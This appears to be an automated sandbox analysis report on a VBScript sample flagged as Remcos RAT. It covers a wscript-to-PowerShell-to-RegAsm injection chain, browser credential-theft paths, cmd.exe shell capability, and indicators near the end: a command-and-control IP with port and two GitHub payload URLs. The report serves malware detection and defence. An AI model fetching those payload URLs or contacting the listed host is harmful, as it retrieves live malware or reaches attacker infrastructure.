Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00401D6F GetLocalTime,CreateEventA,CreateThread, 13_2_00401D6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00413CEA CreateThread,GetComputerNameExW,GetUserNameW, 13_2_00413CEA
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Remcos RAT
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2557660938.0000000000CD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2553536275.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 8, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 4512, type: MEMORYSTR
Contains functionality to steal Chrome passwords or cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data 13_2_00407EC0
Contains functionality to steal Firefox passwords or cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\ 13_2_00407FDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: \key3.db 13_2_00407FDE

Remote Access Functionality
barindex
Detected Remcos RAT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutex created: \Sessions\1\BaseNamedObjects\Rmc-JX5AIB Jump to behavior
Yara detected Remcos RAT
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2557660938.0000000000CD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2553536275.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1592934392.000001CFDFD7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 8, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 4512, type: MEMORYSTR
Contains functionality to launch a control a shell (cmd.exe)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: cmd.exe 13_2_00403B0B
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1540845 Sample: scan_doc20241024.vbs Startdate: 24/10/2024 Architecture: WINDOWS Score: 100 28 Suricata IDS alerts for network traffic 2->28 30 Found malware configuration 2->30 32 Malicious sample detected (through community Yara rule) 2->32 34 12 other signatures 2->34 8 wscript.exe 1 2->8         started        process3 signatures4 44 VBScript performs obfuscated calls to suspicious functions 8->44 46 Suspicious powershell command line found 8->46 48 Wscript starts Powershell (via cmd or directly) 8->48 50 2 other signatures 8->50 11 powershell.exe 7 8->11         started        process5 signatures6 52 Suspicious powershell command line found 11->52 54 Suspicious execution chain found 11->54 56 Found suspicious powershell code related to unpacking or dynamic code loading 11->56 14 powershell.exe 14 25 11->14         started        18 conhost.exe 11->18         started        process7 dnsIp8 26 185.199.108.133, 443, 49699, 49701 FASTLYUS Netherlands 14->26 58 Writes to foreign memory regions 14->58 60 Injects a PE file into a foreign processes 14->60 62 Loading BitLocker PowerShell Module 14->62 20 RegAsm.exe 2 14->20         started        signatures9 process10 dnsIp11 24 154.216.18.51, 2404, 49712, 49761 SKHT-ASShenzhenKatherineHengTechnologyInformationCo Seychelles 20->24 36 Detected Remcos RAT 20->36 38 Contains functionalty to change the wallpaper 20->38 40 Contains functionality to steal Chrome passwords or cookies 20->40 42 2 other signatures 20->42 signatures12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.199.108.133
 unknown Netherlands
54113 FASTLYUS true
154.216.18.51
 unknown Seychelles
135357 SKHT-ASShenzhenKatherineHengTechnologyInformationCo true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723 true
    		unknown
    https://raw.githubusercontent.com/IJEUWAESIKA/nna/refs/heads/main/IFiinmS.txt true
      		unknown